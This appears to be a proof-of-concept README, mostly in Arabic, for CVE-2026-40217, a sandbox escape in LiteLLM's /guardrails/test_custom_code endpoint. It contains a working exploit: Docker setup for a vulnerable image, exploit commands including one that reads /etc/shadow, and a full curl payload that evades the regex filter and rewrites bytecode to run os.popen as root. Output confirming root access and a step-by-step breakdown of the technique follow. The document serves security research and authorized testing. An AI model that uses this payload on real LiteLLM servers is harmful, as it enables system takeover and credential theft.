
الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة بنفسك
LiteLLM
POST /guardrails/test_custom_code— تجاوز الحماية المعزولة (Sandbox) يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) بصلاحيات root (الجذر) في النشر الافتراضي عبر Docker.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (مرتفع) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (تحكم غير سليم في موارد التعليمات البرمجية المُدارة ديناميكيًا) / CWE-94 |
| المتأثر | LiteLLM ≤ 2026-04-08 (قبل الإصدار v1.83.11) |
| الإصلاح | v1.83.11+ (استبدال الحماية المعزولة المبنية يدويًا بـ RestrictedPython) |
| المكتشف | Markus Vervier — X41 D-Sec GmbH |
| تاريخ النشر | 2026-04-08 |
| الرابط | نشرة X41 • GHSA-wxxx-gvqv-xp7p • oss-security |
تسمح نقطة النهاية POST /guardrails/test_custom_code في LiteLLM للمستخدمين المُصادَق عليهم بإرسال تعليمات Python برمجية عشوائية لاختبار الحواجز الأمنية (guardrails). تحاول نقطة النهاية تقييد العمليات الخطيرة باستخدام تصفية كود المصدر المستندة إلى التعبيرات النمطية (regex)، لكن يمكن تجاوز ذلك تمامًا باستخدام تقنيات إعادة كتابة البايت كود (bytecode) في CPython، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية في عملية الوكيل (proxy). في صورة Docker الافتراضية، تعمل عملية الوكيل بصلاحيات root (الجذر)، مما يزيد من خطورة التأثير.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ مهم: يثبّت ملف
docker-compose.ymlالصورة القابلة للاستغلال على بصمة رقمية (digest) محددة (sha256:7c311546...) بتاريخ 22 مارس 2026. لا تغيّر الوسم (tag) إلىmain-latestأو أي إصدار أحدث — فقد تحتوي الصور اللاحقة بالفعل على الإصلاح (RestrictedPython) حتى لو كان رقم الإصدار يوحي بغير ذلك (على سبيل المثال، أُعيد بناءv1.83.10-stableبعد التصحيح وهو ليس قابلًا للاستغلال).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPython بدلاً من الحماية المعزولة المبنية يدويًا)/guardrails/test_custom_code على مستوى الوكيل العكسي (reverse proxy) / بوابة APIdocker run --user 1000:1000 ...إخلاء مسؤولية: يُقدَّم هذا المحتوى لأغراض تعليمية وللاختبارات الأمنية المصرّح بها فقط.
| الخطوة | التقنية | الكود |
|---|
| 1 | تجاوز التعبيرات النمطية (Regex) عبر ربط السلاسل النصية | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | الحصول على كلاس object عبر str.mro()[1] | obj = str.mro()[1] |
| 3 | الوصول إلى كائن الكود الخاص بالمولّد (generator) عبر gi_code | c = g(None).gi_code |
| 4 | استبدال __code__ الخاص بالدالة عبر object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | استخراج __builtins__ الحقيقية من http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) عبر os.popen | imp("os").popen("id").read() |